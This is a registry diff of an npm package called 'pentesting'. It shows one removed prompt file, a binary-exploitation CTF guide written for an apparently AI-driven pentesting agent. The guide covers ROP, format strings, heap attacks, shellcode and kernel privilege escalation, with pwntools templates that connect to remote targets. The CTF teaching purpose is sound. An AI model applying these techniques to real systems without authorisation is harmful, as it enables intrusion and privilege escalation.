pentesting 0.73.14 → 0.90.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +119 -49
- package/bin/pentesting.mjs +32 -0
- package/lib/runtime.mjs +419 -0
- package/package.json +17 -46
- package/scripts/postinstall.mjs +30 -0
- package/scripts/preflight-local.sh +24 -0
- package/dist/ad/prompt.md +0 -60
- package/dist/agent-tool-MMDCBQ74.js +0 -989
- package/dist/api/prompt.md +0 -63
- package/dist/chunk-4KLVUP3C.js +0 -11458
- package/dist/chunk-AEQNELCQ.js +0 -5930
- package/dist/chunk-YZNPWDNS.js +0 -1166
- package/dist/cloud/prompt.md +0 -49
- package/dist/container/prompt.md +0 -58
- package/dist/database/prompt.md +0 -58
- package/dist/email/prompt.md +0 -44
- package/dist/file-sharing/prompt.md +0 -56
- package/dist/ics/prompt.md +0 -76
- package/dist/main.d.ts +0 -1
- package/dist/main.js +0 -9737
- package/dist/network/prompt.md +0 -49
- package/dist/persistence-IGAKJZJ3.js +0 -13
- package/dist/process-registry-DNEZX4S5.js +0 -30
- package/dist/prompts/base.md +0 -436
- package/dist/prompts/ctf-crypto.md +0 -168
- package/dist/prompts/ctf-forensics.md +0 -182
- package/dist/prompts/ctf-pwn.md +0 -137
- package/dist/prompts/evasion.md +0 -215
- package/dist/prompts/exploit.md +0 -416
- package/dist/prompts/infra.md +0 -114
- package/dist/prompts/llm/analyst-system.md +0 -76
- package/dist/prompts/llm/context-extractor-system.md +0 -19
- package/dist/prompts/llm/input-processor-system.md +0 -64
- package/dist/prompts/llm/memory-synth-system.md +0 -14
- package/dist/prompts/llm/playbook-synthesizer-system.md +0 -10
- package/dist/prompts/llm/reflector-system.md +0 -16
- package/dist/prompts/llm/report-generator-system.md +0 -21
- package/dist/prompts/llm/strategist-fallback.md +0 -9
- package/dist/prompts/llm/triage-system.md +0 -47
- package/dist/prompts/main-agent.md +0 -193
- package/dist/prompts/offensive-playbook.md +0 -250
- package/dist/prompts/payload-craft.md +0 -181
- package/dist/prompts/post.md +0 -185
- package/dist/prompts/recon.md +0 -296
- package/dist/prompts/report.md +0 -98
- package/dist/prompts/strategist-system.md +0 -472
- package/dist/prompts/strategy.md +0 -163
- package/dist/prompts/techniques/README.md +0 -40
- package/dist/prompts/techniques/ad-attack.md +0 -261
- package/dist/prompts/techniques/auth-access.md +0 -256
- package/dist/prompts/techniques/container-escape.md +0 -103
- package/dist/prompts/techniques/crypto.md +0 -296
- package/dist/prompts/techniques/enterprise-pentest.md +0 -175
- package/dist/prompts/techniques/file-attacks.md +0 -144
- package/dist/prompts/techniques/forensics.md +0 -313
- package/dist/prompts/techniques/injection.md +0 -217
- package/dist/prompts/techniques/lateral.md +0 -128
- package/dist/prompts/techniques/network-svc.md +0 -229
- package/dist/prompts/techniques/pivoting.md +0 -205
- package/dist/prompts/techniques/privesc.md +0 -190
- package/dist/prompts/techniques/pwn.md +0 -595
- package/dist/prompts/techniques/reversing.md +0 -183
- package/dist/prompts/techniques/sandbox-escape.md +0 -73
- package/dist/prompts/techniques/shells.md +0 -194
- package/dist/prompts/vuln.md +0 -190
- package/dist/prompts/web.md +0 -318
- package/dist/prompts/zero-day.md +0 -298
- package/dist/remote-access/prompt.md +0 -52
- package/dist/web/prompt.md +0 -59
- package/dist/wireless/prompt.md +0 -62
|
@@ -1,595 +0,0 @@
|
|
|
1
|
-
# Binary Exploitation (Pwn) — Comprehensive CTF Guide
|
|
2
|
-
|
|
3
|
-
> **§3 Minimal Specification**: This file is a **Bootstrap reference**, not a prescribed order.
|
|
4
|
-
> Do NOT follow steps linearly. Use `get_owasp_knowledge`, `web_search`, and target observations
|
|
5
|
-
> to decide what to test and in what order. Adapt dynamically — not to this list.
|
|
6
|
-
|
|
7
|
-
> **Cross-ref**: exploit.md (shell strategy), evasion.md (bypass), shells.md (shell types)
|
|
8
|
-
|
|
9
|
-
## Phase 0: Recon — Identify Protections
|
|
10
|
-
|
|
11
|
-
```
|
|
12
|
-
Before exploiting, understand what you're dealing with:
|
|
13
|
-
├── file <binary> → architecture, linking, stripped?
|
|
14
|
-
├── checksec --file=<binary> → NX, PIE, RELRO, Canary, FORTIFY
|
|
15
|
-
├── strings <binary> → hardcoded strings, function names
|
|
16
|
-
├── ltrace ./<binary> → library calls (strcmp, system, gets)
|
|
17
|
-
├── strace ./<binary> → system calls
|
|
18
|
-
├── readelf -s <binary> → symbol table
|
|
19
|
-
├── objdump -d <binary> → disassembly (or use radare2/Ghidra)
|
|
20
|
-
├── ldd <binary> → linked libraries + ASLR check
|
|
21
|
-
└── readelf -l <binary> → segment permissions (RWX = shellcode!)
|
|
22
|
-
```
|
|
23
|
-
|
|
24
|
-
### Protection Cheat Sheet
|
|
25
|
-
```
|
|
26
|
-
Protection Bypass Strategy
|
|
27
|
-
────────── ─────────────────────────
|
|
28
|
-
No NX → Shellcode on stack/heap
|
|
29
|
-
NX enabled → ROP (ret2libc, ret2win, ret2csu, ret2dlresolve)
|
|
30
|
-
No PIE → Hardcoded addresses work directly
|
|
31
|
-
PIE enabled → Need address leak first, then calculate offsets
|
|
32
|
-
No Canary → Direct buffer overflow
|
|
33
|
-
Canary → Leak canary via format string, brute-force (forking server)
|
|
34
|
-
Partial RELRO → GOT overwrite possible
|
|
35
|
-
Full RELRO → GOT read-only, use __malloc_hook/__free_hook or stack
|
|
36
|
-
No ASLR → Fixed addresses (check: cat /proc/sys/kernel/randomize_va_space)
|
|
37
|
-
ASLR → Leak libc/stack/heap base, ret2plt, partial overwrite
|
|
38
|
-
FORTIFY → Some format string restrictions, limited buffer overflow
|
|
39
|
-
```
|
|
40
|
-
|
|
41
|
-
## Stack Buffer Overflow
|
|
42
|
-
|
|
43
|
-
```
|
|
44
|
-
Classic BOF flow:
|
|
45
|
-
1. Find overflow length:
|
|
46
|
-
python3 -c "print('A'*100)" | ./<binary>
|
|
47
|
-
→ Use cyclic pattern to find exact offset:
|
|
48
|
-
# Pwntools (preferred):
|
|
49
|
-
from pwn import *
|
|
50
|
-
cyclic(200) # generate pattern
|
|
51
|
-
cyclic_find(0x6161616b) # find offset from crash value
|
|
52
|
-
|
|
53
|
-
# MSF:
|
|
54
|
-
msf-pattern_create -l 200
|
|
55
|
-
msf-pattern_offset -q <EIP_value>
|
|
56
|
-
|
|
57
|
-
2. Control EIP/RIP:
|
|
58
|
-
python3 -c "print('A'*offset + 'BBBB')" | ./<binary>
|
|
59
|
-
→ EIP should be 0x42424242
|
|
60
|
-
|
|
61
|
-
3. Find return address:
|
|
62
|
-
├── No NX: JMP ESP/RSP in binary or libc
|
|
63
|
-
│ objdump -d <binary> | grep "jmp.*esp"
|
|
64
|
-
├── NX enabled: ROP (Return Oriented Programming)
|
|
65
|
-
└── ASLR: ret2libc or leak libc address
|
|
66
|
-
|
|
67
|
-
Pwntools template:
|
|
68
|
-
from pwn import *
|
|
69
|
-
context.binary = elf = ELF('./<binary>')
|
|
70
|
-
# p = process(elf.path) # local testing
|
|
71
|
-
p = remote('host', port) # remote exploit
|
|
72
|
-
|
|
73
|
-
offset = <N>
|
|
74
|
-
payload = flat(
|
|
75
|
-
b'A' * offset,
|
|
76
|
-
elf.symbols['win_function'], # or ROP chain
|
|
77
|
-
)
|
|
78
|
-
p.sendline(payload)
|
|
79
|
-
p.interactive()
|
|
80
|
-
```
|
|
81
|
-
|
|
82
|
-
## Return Oriented Programming (ROP)
|
|
83
|
-
|
|
84
|
-
```
|
|
85
|
-
When NX is enabled (no shellcode execution on stack):
|
|
86
|
-
|
|
87
|
-
Find gadgets:
|
|
88
|
-
├── ROPgadget --binary <binary> --ropchain
|
|
89
|
-
├── ropper -f <binary> --search "pop rdi"
|
|
90
|
-
├── pwntools: ROP(elf).find_gadget(['pop rdi', 'ret'])
|
|
91
|
-
└── Common gadgets: pop rdi; ret, pop rsi; pop r15; ret, ret (alignment)
|
|
92
|
-
|
|
93
|
-
═══════════════════════════════════════
|
|
94
|
-
ret2libc (Most Common ROP in CTF):
|
|
95
|
-
═══════════════════════════════════════
|
|
96
|
-
1. Leak libc address:
|
|
97
|
-
├── GOT leak via puts/printf: call puts@plt(got['puts'])
|
|
98
|
-
├── Format string: %p leak stack/libc pointers
|
|
99
|
-
└── Info leak via other vuln
|
|
100
|
-
2. Calculate libc base:
|
|
101
|
-
libc_base = leaked_addr - libc.symbols['puts']
|
|
102
|
-
3. Build payload:
|
|
103
|
-
system = libc_base + libc.symbols['system']
|
|
104
|
-
bin_sh = libc_base + next(libc.search(b'/bin/sh'))
|
|
105
|
-
pop_rdi = <gadget_addr>
|
|
106
|
-
# 64-bit: pop rdi; ret → /bin/sh → system
|
|
107
|
-
# Alignment: add extra 'ret' gadget before system if needed
|
|
108
|
-
|
|
109
|
-
Pwntools automated:
|
|
110
|
-
from pwn import *
|
|
111
|
-
elf = ELF('./<binary>')
|
|
112
|
-
libc = ELF('./libc.so.6') # or target libc
|
|
113
|
-
rop = ROP(elf)
|
|
114
|
-
rop.call('puts', [elf.got['puts']]) # leak
|
|
115
|
-
rop.call(elf.symbols['main']) # return to main for stage 2
|
|
116
|
-
|
|
117
|
-
═══════════════════════════════════════
|
|
118
|
-
ret2win (Simplest):
|
|
119
|
-
═══════════════════════════════════════
|
|
120
|
-
├── Find a "win" function (prints flag, spawns shell)
|
|
121
|
-
├── Payload: padding + win_function_address
|
|
122
|
-
├── With PIE: Need a leak first, then calculate offset
|
|
123
|
-
└── Check: objdump -t <binary> | grep -i "win\|flag\|shell\|cat"
|
|
124
|
-
|
|
125
|
-
═══════════════════════════════════════
|
|
126
|
-
ret2csu (When Gadgets Are Scarce):
|
|
127
|
-
═══════════════════════════════════════
|
|
128
|
-
├── __libc_csu_init has universal gadgets for rdi, rsi, rdx
|
|
129
|
-
├── Two-stage: set registers via csu pop, then call function
|
|
130
|
-
└── web_search("ret2csu tutorial") for detailed gadget chains
|
|
131
|
-
|
|
132
|
-
═══════════════════════════════════════
|
|
133
|
-
ret2dlresolve (No Libc Needed):
|
|
134
|
-
═══════════════════════════════════════
|
|
135
|
-
├── Forge fake relocation entry to resolve arbitrary function
|
|
136
|
-
├── pwntools: Ret2dlresolvePayload(elf, symbol="system", args=["/bin/sh"])
|
|
137
|
-
└── Works even without libc leak — powerful when binary is minimal
|
|
138
|
-
|
|
139
|
-
═══════════════════════════════════════
|
|
140
|
-
SROP (Sigreturn Oriented Programming):
|
|
141
|
-
═══════════════════════════════════════
|
|
142
|
-
├── Use sigreturn syscall to set ALL registers at once
|
|
143
|
-
├── Pwntools: SigreturnFrame() — set rip, rsp, rax, etc.
|
|
144
|
-
├── Need: syscall gadget + sigreturn number in rax (0xf on x86_64)
|
|
145
|
-
└── Extremely powerful — single gadget controls entire register state
|
|
146
|
-
```
|
|
147
|
-
|
|
148
|
-
## Format String Vulnerability
|
|
149
|
-
|
|
150
|
-
```
|
|
151
|
-
Detection: Send %x.%x.%x.%x → if hex values appear, vulnerable
|
|
152
|
-
|
|
153
|
-
═══════════════════════════════════════
|
|
154
|
-
Read memory:
|
|
155
|
-
═══════════════════════════════════════
|
|
156
|
-
├── %p.%p.%p... → leak stack values (find canary, addresses, libc)
|
|
157
|
-
├── %N$p → read Nth argument directly
|
|
158
|
-
├── %s → read string at address on stack
|
|
159
|
-
└── Find useful leaks:
|
|
160
|
-
├── Stack canary (8 bytes, ends with \x00)
|
|
161
|
-
├── Libc addresses (0x7f... on 64-bit)
|
|
162
|
-
├── PIE base (calculate from code pointers)
|
|
163
|
-
└── Heap addresses
|
|
164
|
-
|
|
165
|
-
═══════════════════════════════════════
|
|
166
|
-
Write memory (overwrite GOT, return address, hooks):
|
|
167
|
-
═══════════════════════════════════════
|
|
168
|
-
├── %n → writes number of characters printed so far (4 bytes)
|
|
169
|
-
├── %N$n → write to Nth argument
|
|
170
|
-
├── %hn → write 2 bytes (short) — most used
|
|
171
|
-
├── %hhn → write 1 byte — most precise
|
|
172
|
-
└── Targets:
|
|
173
|
-
├── GOT entry (redirect function to win/system/one_gadget)
|
|
174
|
-
├── __malloc_hook / __free_hook (trigger via malloc/free)
|
|
175
|
-
├── Return address on stack
|
|
176
|
-
├── .fini_array (called at exit)
|
|
177
|
-
└── atexit handlers
|
|
178
|
-
|
|
179
|
-
═══════════════════════════════════════
|
|
180
|
-
Pwntools automation:
|
|
181
|
-
═══════════════════════════════════════
|
|
182
|
-
from pwn import *
|
|
183
|
-
# Automatic format string exploit
|
|
184
|
-
payload = fmtstr_payload(offset, {target_addr: desired_value})
|
|
185
|
-
# Advanced: write multiple values
|
|
186
|
-
payload = fmtstr_payload(offset, {
|
|
187
|
-
elf.got['printf']: elf.symbols['win'], # redirect printf→win
|
|
188
|
-
})
|
|
189
|
-
p.sendline(payload)
|
|
190
|
-
```
|
|
191
|
-
|
|
192
|
-
## Heap Exploitation
|
|
193
|
-
|
|
194
|
-
```
|
|
195
|
-
═══════════════════════════════════════
|
|
196
|
-
Fundamental Heap Techniques:
|
|
197
|
-
═══════════════════════════════════════
|
|
198
|
-
|
|
199
|
-
Use After Free (UAF):
|
|
200
|
-
├── allocate → free → allocate same size → use old pointer
|
|
201
|
-
├── The new allocation reuses freed chunk's memory
|
|
202
|
-
├── If old pointer is still accessible → read/write freed data
|
|
203
|
-
└── Key: control what gets allocated in the freed slot
|
|
204
|
-
|
|
205
|
-
Double Free:
|
|
206
|
-
├── free(A) → free(B) → free(A) → now A is in freelist twice
|
|
207
|
-
├── Allocate: get A → write fd pointer → allocate → allocate (arbitrary addr!)
|
|
208
|
-
├── GLIBC 2.29+: key field check → need to overwrite key or use different bins
|
|
209
|
-
└── Bypass: tcache count tampering, or use fastbin (if >= 7 chunks in tcache)
|
|
210
|
-
|
|
211
|
-
Heap Overflow:
|
|
212
|
-
├── Overflow into next chunk's metadata (size, fd, bk)
|
|
213
|
-
├── Modify size → overlapping chunks → controlled overlap
|
|
214
|
-
├── Null byte overflow: shrink next chunk → unlink attack
|
|
215
|
-
└── Off-by-one: even 1 byte overflow can be lethal
|
|
216
|
-
|
|
217
|
-
═══════════════════════════════════════
|
|
218
|
-
Tcache Attacks (glibc 2.26-2.35):
|
|
219
|
-
═══════════════════════════════════════
|
|
220
|
-
Tcache poisoning:
|
|
221
|
-
├── Corrupt tcache entry's fd pointer → arbitrary allocation
|
|
222
|
-
├── GLIBC 2.32+: Safe-linking (PROTECT_PTR) → need heap base leak
|
|
223
|
-
│ fd = (chunk_addr >> 12) ^ target_addr ← key formula!
|
|
224
|
-
├── Allocate at: __free_hook, __malloc_hook, GOT, stack
|
|
225
|
-
└── Once arbitrary write: system("/bin/sh") or one_gadget
|
|
226
|
-
|
|
227
|
-
Tcache count manipulation:
|
|
228
|
-
├── Overflow into tcache_perthread_struct (at heap base)
|
|
229
|
-
├── Set counts[size_index] to allow more frees or skips
|
|
230
|
-
└── Enables double-free even on newer glibc
|
|
231
|
-
|
|
232
|
-
═══════════════════════════════════════
|
|
233
|
-
Fastbin Attacks (older but still relevant):
|
|
234
|
-
═══════════════════════════════════════
|
|
235
|
-
├── Fastbin dup: double free in fastbin → arbitrary write
|
|
236
|
-
├── Size check: target must have valid fastbin size in header
|
|
237
|
-
├── Align to 0x7f byte in __malloc_hook area (libc)
|
|
238
|
-
└── Used when tcache is full (7+ chunks of same size freed)
|
|
239
|
-
|
|
240
|
-
═══════════════════════════════════════
|
|
241
|
-
Unsorted Bin Attacks:
|
|
242
|
-
═══════════════════════════════════════
|
|
243
|
-
├── Unsorted bin leak: free large chunk → fd/bk points to main_arena
|
|
244
|
-
├── main_arena is at known offset from libc base → libc leak!
|
|
245
|
-
├── Unsorted bin attack (glibc <2.29): corrupt bk → write main_arena addr
|
|
246
|
-
└── Size: must be ≥ 0x90 to avoid fastbin/tcache
|
|
247
|
-
|
|
248
|
-
═══════════════════════════════════════
|
|
249
|
-
Large Bin Attack:
|
|
250
|
-
═══════════════════════════════════════
|
|
251
|
-
├── Corrupt large bin fd_nextsize/bk_nextsize
|
|
252
|
-
├── Write heap address to arbitrary location
|
|
253
|
-
├── Useful for: overwrite mp_.tcache_bins, global_max_fast
|
|
254
|
-
└── Enables further exploitation chain
|
|
255
|
-
|
|
256
|
-
═══════════════════════════════════════
|
|
257
|
-
House Techniques (Named Patterns):
|
|
258
|
-
═══════════════════════════════════════
|
|
259
|
-
├── House of Force → corrupt top chunk size → allocate to target
|
|
260
|
-
├── House of Spirit → forge fake chunk → free it → allocate at target
|
|
261
|
-
├── House of Lore → small bin corruption → arbitrary allocation
|
|
262
|
-
├── House of Orange → forge unsorted bin chunk from top chunk
|
|
263
|
-
├── House of Botcake → tcache + unsorted bin overlap (2.31+)
|
|
264
|
-
├── House of Pig → largebin + tcache stashing → arbitrary write
|
|
265
|
-
│
|
|
266
|
-
├── House of Banana (glibc 2.35+ — exit-time RCE via rtld_global):
|
|
267
|
-
│ ├── Prerequisite: heap write primitive + libc/ld-linux base leak
|
|
268
|
-
│ ├── Target: _rtld_global (ld.so global) → _dl_audit chain
|
|
269
|
-
│ ├── Attack path:
|
|
270
|
-
│ │ ├── 1. Leak ld.so base (via libc → _rtld_global symbol offset)
|
|
271
|
-
│ │ │ ld_base = libc.address + libc.symbols['_rtld_global'] - ld.symbols['_rtld_global']
|
|
272
|
-
│ │ ├── 2. Locate: _rtld_global._dl_ns[0]._ns_loaded → link_map ptr
|
|
273
|
-
│ │ ├── 3. In link_map: l_audit_any_plt / l_auditing fields
|
|
274
|
-
│ │ ├── 4. Forge fake link_map on heap:
|
|
275
|
-
│ │ │ fake_lm = flat({0x28: heap_base + fake_lm_offset}) # l_next
|
|
276
|
-
│ │ │ # at offset 0x340: pointer to fake audit struct
|
|
277
|
-
│ │ ├── 5. Fake audit struct: ae_funcptr → system or one_gadget
|
|
278
|
-
│ │ ├── 6. Trigger: call exit() or return from main → _dl_audit_preinit fires
|
|
279
|
-
│ │ └── Template:
|
|
280
|
-
│ │ from pwn import *
|
|
281
|
-
│ │ # After leaks:
|
|
282
|
-
│ │ rtld_global = ld.sym['_rtld_global']
|
|
283
|
-
│ │ dl_ns = rtld_global # _dl_ns[0] at offset 0
|
|
284
|
-
│ │ ns_loaded = dl_ns # _ns_loaded is first field
|
|
285
|
-
│ │ # Write fake link_map → audit struct → funcptr = system
|
|
286
|
-
│ │ # Details vary per binary — confirm struct offsets with gdb:
|
|
287
|
-
│ │ # gdb: p &_rtld_global._dl_ns[0]._ns_loaded
|
|
288
|
-
│ └── web_search("house of banana glibc 2.35 exploit script site:github.com")
|
|
289
|
-
│
|
|
290
|
-
├── House of Kiwi (glibc 2.35+ — _IO_FILE vtable abuse without __free_hook):
|
|
291
|
-
│ ├── Context: glibc 2.24+ removed __free_hook/__malloc_hook; vtable check added
|
|
292
|
-
│ ├── Bypass: _IO_obstack_jumps / _IO_cookie_jumps are NOT checked (whitelisted)
|
|
293
|
-
│ ├── Attack path A — _IO_flush via exit():
|
|
294
|
-
│ │ ├── 1. Overwrite _IO_helper_jumps vtable (in _IO_obstack_jumps range)
|
|
295
|
-
│ │ ├── 2. Corrupt _IO_2_1_stderr_ → vtable → _IO_obstack_jumps + offset
|
|
296
|
-
│ │ ├── 3. Set wide_data / Bckp_base pointers → control RIP
|
|
297
|
-
│ │ └── Trigger: fflush(stderr) or exit() → _IO_flush_all_lockp fires
|
|
298
|
-
│ ├── Attack path B — _IO_cookie_write:
|
|
299
|
-
│ │ ├── 1. Forge _IO_cookie_file struct on heap
|
|
300
|
-
│ │ ├── 2. Set __io_functions.write = system (after pointer mangling)
|
|
301
|
-
│ │ │ # glibc 2.32+ mangles fn ptr: stored = (fn >> 17) | (fn << 47) ^ key
|
|
302
|
-
│ │ │ # key is at fs:0x30; leak it or use partial overwrite
|
|
303
|
-
│ │ ├── 3. Trigger fwrite() to the fake cookie → write callback fires
|
|
304
|
-
│ │ └── python:
|
|
305
|
-
│ │ mangled = ror(system ^ cookie_key, 17, 64) # pwntools ror()
|
|
306
|
-
│ ├── Pointer mangling (glibc 2.32+ IMPORTANT):
|
|
307
|
-
│ │ ├── Function pointers in _IO structs are XOR-rotated before storage
|
|
308
|
-
│ │ ├── Leak the key: read fs:0x30 (TLS pointer), or partial-overwrite
|
|
309
|
-
│ │ └── Formula: stored = ROR64((fn ^ key), 17) → reverse: fn = ROL64(stored,17) ^ key
|
|
310
|
-
│ └── web_search("house of kiwi IO_FILE vtable bypass glibc 2.35")
|
|
311
|
-
│
|
|
312
|
-
└── house of XXX → web_search("house of XXX heap exploitation site:github.com")
|
|
313
|
-
|
|
314
|
-
═══════════════════════════════════════
|
|
315
|
-
Debugging heap with gdb:
|
|
316
|
-
═══════════════════════════════════════
|
|
317
|
-
Use pwndbg or gef (NOT plain gdb):
|
|
318
|
-
├── heap → overview of all chunks
|
|
319
|
-
├── bins → show free chunk bins (tcache, fast, unsorted, small, large)
|
|
320
|
-
├── vis_heap_chunks → visual heap layout (color-coded)
|
|
321
|
-
├── tcachebins → tcache entries per size
|
|
322
|
-
├── fastbins → fastbin entries
|
|
323
|
-
├── x/20gx <addr> → examine raw memory
|
|
324
|
-
└── find_fake_fast <addr> → find valid fastbin sizes near target
|
|
325
|
-
```
|
|
326
|
-
|
|
327
|
-
## Shellcode
|
|
328
|
-
|
|
329
|
-
```
|
|
330
|
-
When NX is disabled (rare in modern, common in CTF):
|
|
331
|
-
|
|
332
|
-
Generate:
|
|
333
|
-
├── pwntools: shellcode = asm(shellcraft.sh(), arch='amd64')
|
|
334
|
-
├── msfvenom -p linux/x64/exec CMD="/bin/sh" -f python -b '\x00'
|
|
335
|
-
├── Custom: smaller/badchar-free shellcode
|
|
336
|
-
└── Staged: small shellcode reads larger shellcode from stdin
|
|
337
|
-
|
|
338
|
-
Constraints:
|
|
339
|
-
├── Avoid null bytes: xor rax, rax (not mov rax, 0)
|
|
340
|
-
├── Size limit: use short shellcode (shell in ~30 bytes possible)
|
|
341
|
-
├── Alphanumeric: use AE64 encoder for alphanum-only shellcode
|
|
342
|
-
├── Seccomp: check allowed syscalls with seccomp-tools dump ./<binary>
|
|
343
|
-
│ ├── open+read+write only → read flag file to stdout
|
|
344
|
-
│ ├── No execve → openat + sendfile or mmap
|
|
345
|
-
│ └── Pwntools: shellcraft.open('flag.txt') + shellcraft.read(3, 'rsp', 100) + shellcraft.write(1, 'rsp', 100)
|
|
346
|
-
└── Write+Execute memory (mprotect): change stack/heap to RWX first
|
|
347
|
-
```
|
|
348
|
-
|
|
349
|
-
## Advanced: One-Gadget and Magic Gadgets
|
|
350
|
-
|
|
351
|
-
```
|
|
352
|
-
one_gadget: single address in libc that spawns shell
|
|
353
|
-
├── Tool: one_gadget libc.so.6
|
|
354
|
-
├── Usually has constraints: [rsp+0x40] == NULL, etc.
|
|
355
|
-
├── When to use: anytime you can redirect execution to libc
|
|
356
|
-
│ ├── __malloc_hook overwrite → trigger via malloc
|
|
357
|
-
│ ├── __free_hook overwrite → trigger via free
|
|
358
|
-
│ ├── GOT overwrite → trigger when function is called
|
|
359
|
-
│ ├── .fini_array overwrite → trigger at exit
|
|
360
|
-
│ └── Return address overwrite → trigger at function return
|
|
361
|
-
└── Try ALL one_gadgets — first one often doesn't work due to constraints
|
|
362
|
-
```
|
|
363
|
-
|
|
364
|
-
## Kernel Exploitation (Advanced CTF)
|
|
365
|
-
|
|
366
|
-
```
|
|
367
|
-
Common kernel pwn patterns:
|
|
368
|
-
├── Use after free in kernel module → overwrite function pointer
|
|
369
|
-
├── Race condition (TOCTOU) → exploit copy_from_user race
|
|
370
|
-
├── Stack overflow in ioctl handler → kernel ROP
|
|
371
|
-
├── Integer overflow → buffer size miscalculation
|
|
372
|
-
└── NULL pointer dereference (if mmap_min_addr = 0)
|
|
373
|
-
|
|
374
|
-
Privilege escalation:
|
|
375
|
-
├── commit_creds(prepare_kernel_cred(0)) → instant root
|
|
376
|
-
├── modprobe_path overwrite → trigger via unknown file format
|
|
377
|
-
├── struct cred overwrite → change uid/gid to 0
|
|
378
|
-
└── Namespace escape → ns_capable bypass
|
|
379
|
-
|
|
380
|
-
Protection bypass:
|
|
381
|
-
├── KASLR: leak kernel addresses (dmesg, /proc/kallsyms, info leak)
|
|
382
|
-
├── SMEP/SMAP: use kernel gadgets only (no userspace exec)
|
|
383
|
-
├── KPTI: KPTI trampoline for return to userspace
|
|
384
|
-
└── Stack canary: leak via info leak or race
|
|
385
|
-
```
|
|
386
|
-
|
|
387
|
-
## Pwntools Essential Patterns
|
|
388
|
-
|
|
389
|
-
```python
|
|
390
|
-
from pwn import *
|
|
391
|
-
|
|
392
|
-
# Setup
|
|
393
|
-
context.binary = elf = ELF('./<binary>')
|
|
394
|
-
context.log_level = 'debug' # verbose for debugging
|
|
395
|
-
libc = ELF('./libc.so.6')
|
|
396
|
-
|
|
397
|
-
# Connection
|
|
398
|
-
p = process(elf.path) # local
|
|
399
|
-
p = remote('challenge.ctf.example', 1337) # remote
|
|
400
|
-
p = gdb.debug(elf.path, 'b main') # with gdb
|
|
401
|
-
|
|
402
|
-
# I/O
|
|
403
|
-
p.sendline(b'input')
|
|
404
|
-
p.sendafter(b'prompt: ', b'input')
|
|
405
|
-
p.recvuntil(b'Address: ')
|
|
406
|
-
leak = int(p.recvline().strip(), 16)
|
|
407
|
-
|
|
408
|
-
# Packing
|
|
409
|
-
p64(0xdeadbeef) # 64-bit little-endian
|
|
410
|
-
p32(0xdeadbeef) # 32-bit little-endian
|
|
411
|
-
u64(b'\x00' * 8) # unpack 8 bytes to int
|
|
412
|
-
|
|
413
|
-
# ROP
|
|
414
|
-
rop = ROP(elf)
|
|
415
|
-
rop.call('puts', [elf.got['puts']])
|
|
416
|
-
rop.call('main')
|
|
417
|
-
print(rop.dump())
|
|
418
|
-
|
|
419
|
-
# Libc
|
|
420
|
-
libc.address = leaked_puts - libc.symbols['puts']
|
|
421
|
-
system = libc.symbols['system']
|
|
422
|
-
bin_sh = next(libc.search(b'/bin/sh\x00'))
|
|
423
|
-
|
|
424
|
-
# DynELF (automatic libc resolution without libc file)
|
|
425
|
-
d = DynELF(leak_func, elf=elf)
|
|
426
|
-
system = d.lookup('system', 'libc')
|
|
427
|
-
```
|
|
428
|
-
|
|
429
|
-
## Libc Database Lookup
|
|
430
|
-
|
|
431
|
-
```
|
|
432
|
-
When you leak a libc address but don't know which libc version:
|
|
433
|
-
├── libc.rip → search by function address suffix
|
|
434
|
-
├── libc-database → github.com/niklasb/libc-database
|
|
435
|
-
├── web_search("libc database online lookup")
|
|
436
|
-
└── Pwntools: from pwn import *; libc = LibcSearcher('puts', leaked_addr)
|
|
437
|
-
|
|
438
|
-
Once identified:
|
|
439
|
-
├── Download matching libc.so.6
|
|
440
|
-
├── libc = ELF('./libc.so.6')
|
|
441
|
-
├── libc.address = leak - libc.symbols['known_function']
|
|
442
|
-
└── Now all offsets (system, /bin/sh, one_gadget, hooks) are calculable
|
|
443
|
-
```
|
|
444
|
-
|
|
445
|
-
## Common CTF Pwn Patterns
|
|
446
|
-
|
|
447
|
-
```
|
|
448
|
-
Vulnerability → Exploitation Flow:
|
|
449
|
-
├── gets() / scanf("%s") → always overflows → classic BOF → ROP/ret2libc
|
|
450
|
-
├── printf(user_input) → format string → leak + arbitrary write
|
|
451
|
-
├── Custom malloc manager → heap challenge → find corruption primitive
|
|
452
|
-
├── Menu-driven program → heap note challenge → UAF/double-free/overflow
|
|
453
|
-
├── seccomp-restricted → ORW (open-read-write) shellcode chain
|
|
454
|
-
├── PIE + Canary + NX → need 2 vulns: leak (fmtstr) + overflow
|
|
455
|
-
├── Forking server → brute-force canary byte-by-byte (no ASLR reset)
|
|
456
|
-
├── Stack pivot → leave; ret → redirect RSP to controlled buffer
|
|
457
|
-
├── Partial overwrite → overwrite last 1-2 bytes of return addr (bypass PIE partially)
|
|
458
|
-
├── SUID binary → exploit → get that user's privileges
|
|
459
|
-
└── Server binary on port → connect and exploit live
|
|
460
|
-
```
|
|
461
|
-
|
|
462
|
-
## Kernel Exploitation — Deep Dive (Advanced Level)
|
|
463
|
-
|
|
464
|
-
```
|
|
465
|
-
KERNEL SETUP & ENVIRONMENT:
|
|
466
|
-
├── Extract fs: binwalk -e bzImage / extract-vmlinux bzImage
|
|
467
|
-
├── Run CTF qemu: qemu-system-x86_64 -kernel bzImage -initrd rootfs.cpio.gz
|
|
468
|
-
│ -append "console=ttyS0 nokaslr" -m 128M -nographic
|
|
469
|
-
├── Debug: qemu + -s -S → gdb vmlinux → target remote :1234
|
|
470
|
-
├── Extract rootfs: mkdir rootfs && cd rootfs && cpio -idmv < ../rootfs.cpio.gz
|
|
471
|
-
├── Patch init to run as root / add your exploit binary
|
|
472
|
-
└── Repack: find . | cpio -H newc -o --owner root:root | gzip > rootfs.cpio.gz
|
|
473
|
-
|
|
474
|
-
KERNEL PROTECTIONS:
|
|
475
|
-
├── KASLR: base randomized → need kernel address leak
|
|
476
|
-
│ leaks: syslog (if dmesg allowed), /proc/kallsyms (if readable)
|
|
477
|
-
│ spray addresses, or use physmap (when mmap_min_addr=0)
|
|
478
|
-
├── SMEP: can't execute userspace pages in kernel mode → kernel ROP only
|
|
479
|
-
│ bypass: disable SMEP (clear bit 20 in CR4) via kernel gadget
|
|
480
|
-
├── SMAP: can't access userspace memory in kernel mode
|
|
481
|
-
│ bypass: disable SMAP (clear bit 21 in CR4) or use copy_from/to_user
|
|
482
|
-
├── KPTI: separate page tables for user/kernel → flush on context switch
|
|
483
|
-
│ exploit: use KPTI trampoline swapgs_restore_regs_and_return_to_usermode
|
|
484
|
-
│ (symbol in /proc/kallsyms or calculate from vmlinux)
|
|
485
|
-
└── Stack Canary: same as user-space, leaked via info disclosure
|
|
486
|
-
|
